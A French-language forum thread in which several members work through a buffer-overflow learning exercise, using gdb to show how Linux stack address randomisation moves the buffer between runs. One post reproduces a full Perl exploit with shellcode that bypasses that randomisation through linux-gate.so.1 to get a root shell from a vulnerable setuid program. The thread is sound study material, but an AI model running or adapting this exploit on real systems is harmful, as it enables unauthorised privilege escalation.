Petits jeux pour comprendre les "buffer overflow"

[Amine]

Salut les amis,

@mouradski

Non mouradski, ... pour chaque processus sous linux le système crée un nouvel espace d'adressage! donc le paging sera different, et rien ne garanti que la même adresse pointera vers la meme case mémoire physique (sauf dans le cas des IPC, shared meme et autres , mais pour ça il faut que les deux process collaborent (ou s'attachent à la mémoire partagée). Wallahou A3lam

 

 

 

@lyas:

J'y ai pensé, j'ai même pensé à mettre la valeur deadbeef dans crap et pointer *check vers crap, MAIS justement le problème c'est qu'on ne peut pas savoir où le système posera buf ou crap. Rien ne garanti à quelle adresse ils se trouveront dans le deuxieme processus.

Enfin j'espere que je ne dis pas de bétise lol

[Amine]

@lyas:

Enfin en y repensant, vu que le système utilise le format Elf, donc les adresses seront sauvegardés sous format d'offset (displacement) , donc on pourra trouver une valeur check à faire passer au deuxième prog.

Je vais voir.

[Amine]

EDIT lol

En y re-re-re-pensant non, à part addresse hardwired, et spécifique à une execution , je ne vois pas comment on pourrait trouver l'addresse où l'OS posera buf!

 

Enfin j'ai bu 2 litres de café ce matin, donc mon cerveau est peut etre en panne lol.

[mouradski]

MERCI les amis, je viens de me rappeler pourquoi je ne fais que du managé.. enzid enhawedkem echwiya eytikhli 3ork..

[Iyas]

EDIT lol

En y re-re-re-pensant non, à part addresse hardwired, et spécifique à une execution , je ne vois pas comment on pourrait trouver l'addresse où l'OS posera buf!

 

Enfin j'ai bu 2 litres de café ce matin, donc mon cerveau est peut etre en panne lol.

Si normalement, l'adresse de buf reste la même à chaque execution.

 

Deux solution pour récuperer l'adresses de buf:

 

1 - Tu modifies le prog newbie2.c et tu fais affichier l'adresse de buf

2 - Tu utilises gdb

[Amine]

Salut lyas!

J'ai bien essayé, l'adresse change à chaque fois , rien ne garantis où le loader mettera le text data ..... donc on ne pourra écrire un programme qui marche à tous les coups (ou sur plusieurs machines différentes) .

Sinon j'avais pensé à une méthode mais je ne suis pas arrivé à l'appliquer: mettre 0xdeadbeef dans l'espace kernel (et lancer les progs en root) où alors les mettre dans une variable shell par exemple , mais je n'ai pas pu l'appliquer encore.

Ou même écrire une sorte de programme qui supervise l'execution, comme le ferai gdb.

En résumé je suis sur qu'il y a des solutions , mais un peu difficiles à automatiser.

[Iyas]

Salut lyas!

J'ai bien essayé, l'adresse change à chaque fois , rien ne garantis où le loader mettera le text data ..... donc on ne pourra écrire un programme qui marche à tous les coups (ou sur plusieurs machines différentes) .

Sinon j'avais pensé à une méthode mais je ne suis pas arrivé à l'appliquer: mettre 0xdeadbeef dans l'espace kernel (et lancer les progs en root) où alors les mettre dans une variable shell par exemple , mais je n'ai pas pu l'appliquer encore.

Ou même écrire une sorte de programme qui supervise l'execution, comme le ferai gdb.

En résumé je suis sur qu'il y a des solutions , mais un peu difficiles à automatiser.

Comment fais tu pour afficher l'adresse de buf ?

Car je pense que tu te plantes

 

Voici une petite démonstration effectuée sous MAC OS X Intel avec gdb qui te pourveras bien que l'adresse de buf ne change pas. Pour faciliter la démonstration j'ai compilé le programme avec l'option -ggdb.

 

Donc on commence par compiler le programme:

 

cb:~ cb$ gcc -ggdb -o newbie2 newbie2.c

cb:~ cb$

 

On utilise ensuite gdb:

 

cb:~ cb$ gdb ./newbie2

NU gdb 6.3.50-20050815 (Apple version gdb-768) (Tue Oct 2 04:07:49 UTC 2007)

This GDB was configured as "i386-apple-darwin"...Reading symbols for shared libraries ... done

(gdb)

 

On ajoute un break dans main lors de l'execution afin de permettre l'execution pas à pas du programme:

 

(gdb) break main

Breakpoint 1 at 0x1faf: file newbie2.c, line 10.

(gdb)

 

On lance suite le programme avec comme argument "AAAABBBB".

Notons ici que A en hexa = 0x41 et B = 0x42

 

(gdb) run AAAABBBB

Starting program: /Users/cbailleux/newbie2 AAAABBBB

Reading symbols for shared libraries ++. done

 

Breakpoint 1, main (argc=2, argv=0xbffff7bc) at newbie2.c:10

10 if (argc

(gdb)

 

On execute le programme "step by step" afin d'arriver jusqu'a la fonction strcpy:

 

(gdb) step

13 strcpy(buf,argv[1]);

(gdb) step

15 if (*check==0xdeadbeaf)

(gdb)

 

 

On affiche l'adresse de buf:

 

(gdb) printf "%p\n", buf

0xbffff774

(gdb)

 

On vérifie que c'est bien l'adresse de buf en vérifiant le contenu de cette adresse. On devrait ici trouver 0x41414141:

 

(gdb) x 0xbffff774

0xbffff774: 0x41414141

(gdb)

 

Donc ici l'adresse de buf est bien 0xbffff774.

 

Je refais donc une deuxième exécution pour vérifier si on garde la même adresse:

 

(gdb) run AAAABBBB

Starting program: /Users/cbailleux/newbie2 AAAABBBB

Reading symbols for shared libraries ++. done

 

Breakpoint 1, main (argc=2, argv=0xbffff7bc) at newbie2.c:10

10 if (argc

(gdb) printf "%p\n", buf

0xbffff774

(gdb)

 

Voilà l'adresse reste la même

 

Donc Amine je pense que tu te plantes quelque part... Certes je ne suis pas sous Linux mais bon le comportement est identique surtout sur une architecture INTEL...

 

La je t'ai maché une partie du boulot donc à toi de faire le reste

[Amine]

Salam lyas

Tout d'abord merci pour ce thread très didactique

 

Finalement je vois la différence, tu es sous MacOS, je suis sous Linux (debian etch, kernel 2.6.18-6)

Pour savoir que l'adresse changeait chez moi j'ajoutais un simple : printf("val check %x\n",buf); dans newbie2.c

Et j'ai aussi essayé ta méthode avec gdb , et ça change à chaque fois chez moi donc c'est surement dû aux différences linux vs MacOS (peut-être même un gage de sécurité de linux lol)

 

(gdb) break main
Breakpoint 1 at 0x80483d8: file essai.c, line 9.
(gdb) run AAAABBBB
Starting program: /home/rough/dev/essai AAAABBBB
Failed to read a valid object file image from memory.

Breakpoint 1, main (argc=2, argv=0xbff9e0b4) at essai.c:9
9       if (argc (gdb) step
12      strcpy(buf,argv[1]);
(gdb) step
25      if (*check==0xdeadbeef)
(gdb) printf "%p\n",buf
internal error in printf_command
(gdb) printf "%x\n",buf
bff9e008
(gdb) 0xbff9e008
Undefined command: "0xbff9e008".  Try "help".
(gdb) x 0xbff9e008
0xbff9e008:     0x41414141
(gdb) run AAAABBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/rough/dev/essai AAAABBBB
Failed to read a valid object file image from memory.

Breakpoint 1, main (argc=2, argv=0xbfa3c354) at essai.c:9
9       if (argc (gdb) step
12      strcpy(buf,argv[1]);
(gdb) step
25      if (*check==0xdeadbeef)
(gdb) printf "%x\n",buf
bfa3c2a8
(gdb) x 0xbff9e008
0xbff9e008:     Cannot access memory at address 0xbff9e008
(gdb) x 0xbfa3c2a8
0xbfa3c2a8:     0x41414141
(gdb)

[Iyas]

Hahah oué excellent désolé d'avoir douté de tes compétences

 

Bon alors logiquement le seul truc qui que je connais qui permette de faire ca c'est PAX avec son "randam address spaces". Ensuite ca fait un petit moment que j'ai pas mis les mains dans le Kernel de linux alors il se peut qu'ils aient ajouté ca par défaut. Et ce n'est pas un mal

 

Alors il reste une solution qui peut fonctionner c'est l'environnement

 

Tu exportes dans ton shell une variable genre CHECK qui contient le 0xdeadbeaf et toujours grace à gdb tu regardes si celle ci est modifiée à chaque execution.

 

Pour info l'environnement se trouve toute à la fin de la mémoire du programme. Pour la retrouver plus facilement tu fais un truc du genre: export CHECK=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

Et ensuite tu fais pointer le pointeur dans cet env pour tomber sur 0xdeadbeaf.

 

J'essaierai de faire les tests sur un lnx dès que possible histoire de voir si j'ai le même comportement.

[Invité HAVOC]

MDR... J'ai trop l'habitude de JAVA et du ramasse miettes qui fait le ménage lol

[Iyas]

Amine,

 

Bon j'ai compris d'ou ca vient cette histoire de randomization des adresses...

Donc voici le test que j'ai effectué sous Ubuntu:

 

cb@www:~$ ./yo AAAAAAAAAA

Addresse de buf: 0xbfff0a0c

 

cb@www:~$ ./yo AAAAAAAAAA

Addresse de buf: 0xbfa3945c

 

cb@www:~$ ./yo AAAAAAAAAA

Addresse de buf: 0xbfb61d8c

 

Et voilà ce que je vois lorsque je regarde à quelles libs est linké le programme:

 

cb@www:~$ ldd ./yo

linux-gate.so.1 => (0xb7f13000)

libc.so.6 => /lib/libc.so.6 (0xb7dd8000)

/lib/ld-linux.so.2 (0xb7f14000)

 

Et la réponse se trouve dans la lib linux-gate.so.1

 

C'est elle qui fait en sorte que la stack de ton programme soit random...

Du coup j'ai vérifié, même les adresses de l'environnement sont random...

 

Donc faut trouver un contourmement ce qui est tout à fait faisable mais peut être pas dans l'exercice proposé.

 

Sinon faut compiler sans cette lib afin de pouvoir faire l'exercice dans une configuration standard.

 

Voilà en gros pourquoi ton adresse de buffer change à chaque fois..

[assilabox]

Salam

 

d'après un article de wikipedia, il est possible de contourner cette vue que la commande Strcpy touche au registre eax, ce dernier contient une adresse proche de celle du buffer ...

 

Pour ceux qui veulent comprendre plus sur le buffer overflow, l'article en question contient un très bonne explication du dépassement de tampon

[Iyas]

Salam

 

d'après un article de wikipedia, il est possible de contourner cette vue que la commande Strcpy touche au registre eax, ce dernier contient une adresse proche de celle du buffer ...

 

Pour ceux qui veulent comprendre plus sur le buffer overflow, l'article en question contient un très bonne explication du dépassement de tampon

Salam,

 

 

Tiens l'article qui décrit comment contourner la lib en question :

 

http://milw0rm.org/papers/55

 

Il faudrait voir si du coup cette si solution est applicable au programme newbie2.c.

 

Notons que dans l'article nous somme en présence d'une exploitation réelle d'un buffer overflow, avec positionnement d'un shellcode dans la stack et modification de l'adresse de retour du programme.

 

On va peut être un peu vite en besogne la ... L'idée était d'y aller progressivement afin de ne pas passer les étapes trop rapidement mais la je crois que c'est loupé

[Iyas]

Un autre exemple de contournement de la lib-gate et en PERL cette fois

 

#!/usr/bin/perl -w

use strict;

#

# [exp_call_rand.pl] Mon Apr 3 19:17:14 CEST 2006

#

# Exploit solution against 2.6 stack randomization

# Using the "call *%edx" technic.

#

# Copyright: bunker - http://rawlab.mindcreations.com

# 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2

#

# EXPLANATION: In 2.6 kernel we have a ghost library named

# "linux-gate.so.1". It's a virtual DSO, a shared

# object exposed by the kernel at a fixed address

# in every process' memory. This part of memory

# isn't randomized, so we can explore it to find

# useful "call" or "jmp" instructions!

# In this example we find "call *%edx" in memory

# so we can execute shellcode passed to vulnerable

# file by second argument ;-)

#

#

# [Find "call *%edx" in memory]

#

# bunker@syn:~/vuln$ ldd vuln_prog

# linux-gate.so.1 => (0xffffe000)

# libc.so.6 => /lib/tls/libc.so.6 (0xb7e84000)

# /lib/ld-linux.so.2 (0xb7fcd000)

#

# bunker@syn:~/vuln$ gdb vuln_prog

# (gdb) break main

# Breakpoint 1 at 0x80483ad

# (gdb) run

# Starting program: /home/bunker/vuln/vuln_prog

# Breakpoint 1, 0x080483ad in main ()

# (gdb) x/i 0xffffe000

# 0xffffe000: jg 0xffffe047

# (gdb)

# 0xffffe002: dec %esp

# (gdb)

# 0xffffe003: inc %esi

# ...

# (gdb)

# 0xffffe74f: call *%edx

#

# bunker@syn:~/vuln$ cat vuln_prog.c

# int main(int argc, char **argv) {

# char buf[256];

# strcpy(buf, argv[1]);

# }

#

# bunker@syn:~/vuln$ ls -al vuln_prog

# -rwsr-xr-x 1 root users 8340 2006-04-02 20:11 vuln_prog

#

# bunker@syn:~/vuln$ perl exp_call_rand.pl 68

# sh-3.1# id

# uid=0(root) gid=100(users) groups=17(audio),18(video),19(cdrom),100(users)

 

die "Usage: $0 \n [ vuln_buf

if ($#ARGV != 0);

 

my $num = $ARGV[0];

print "Using multiplication factor $num...\n";

 

# call *%edx

my $ret = 0xffffe74f;

 

# shellcode

my $sc = "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x6a\x0b\x58".

"\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e".

"\x89\xe3\x52\x53\x89\xe1\xcd\x80";

 

# vulnerable file

my $vuln = "./vuln_prog";

 

# build buffer

my $buf = pack("L",$ret)x$num;

 

# boom! :-D

exec $vuln, $buf, $sc;

[Iyas]

Bon alors après analyse il semblerait que dans les exemples ci dessus l'adresse de la lib-gate.so.1 récuperée via ldd ne soit pas random..

 

Ben super mais chez moi ce n'est pas l'cas..

 

cb@www:~$ ldd yo

linux-gate.so.1 => (0xb7fe0000)

libc.so.6 => /lib/libc.so.6 (0xb7ea5000)

/lib/ld-linux.so.2 (0xb7fe1000)

 

cb@www:~$ ldd yo

linux-gate.so.1 => (0xb7fb8000)

libc.so.6 => /lib/libc.so.6 (0xb7e7d000)

/lib/ld-linux.so.2 (0xb7fb9000)

 

Amine, pourrais tu s'il te plait vérifier chez toi voir si tu as le même comportement ?

 

Parce que la ca complique légèrement les choses

[Amine]

Ah désolé , j'avais pas vu ton dernier message!

 

tu voulez donc ça? :

 

rough@ufo79:~/dev$ ldd essai

linux-gate.so.1 => (0xffffe000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e44000)

/lib/ld-linux.so.2 (0xb7f95000)

rough@ufo79:~/dev$ ldd essai

linux-gate.so.1 => (0xffffe000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7dec000)

/lib/ld-linux.so.2 (0xb7f3d000)

rough@ufo79:~/dev$ ldd essai

linux-gate.so.1 => (0xffffe000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e40000)

/lib/ld-linux.so.2 (0xb7f91000)

[Iyas]

Ah désolé , j'avais pas vu ton dernier message!

 

tu voulez donc ça? :

 

rough@ufo79:~/dev$ ldd essai

linux-gate.so.1 => (0xffffe000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e44000)

/lib/ld-linux.so.2 (0xb7f95000)

rough@ufo79:~/dev$ ldd essai

linux-gate.so.1 => (0xffffe000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7dec000)

/lib/ld-linux.so.2 (0xb7f3d000)

rough@ufo79:~/dev$ ldd essai

linux-gate.so.1 => (0xffffe000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e40000)

/lib/ld-linux.so.2 (0xb7f91000)

Salam,

 

Alors t'as vu la différence ?

 

Toi l'adresse linux-gate.so.1 => (0xffffe000) ne change jamais alors que moi elle change en permance... Conlusion sur ton système tu peux bypasser cette protection...

 

Moi pour ma part c'est un peu plus compliqué que prévu. Essaie de suivre la procédure de contournement et vois si tu peux l'appliquer à newbie2.c. Perso je ne crois pas mais je me trompe peut être.

 

Cette solution doit fonctionner uniquement lorsque tu inctercèptes l'execution d'un programme en modifiant l'adresse de retour. Enfin il faut vérifier.

 

Si t'as le temps pour jeter un coup d'oeuil... Moi de mon coté je vais essayer de trouver un système identique au tiens..

 

A suivre donc...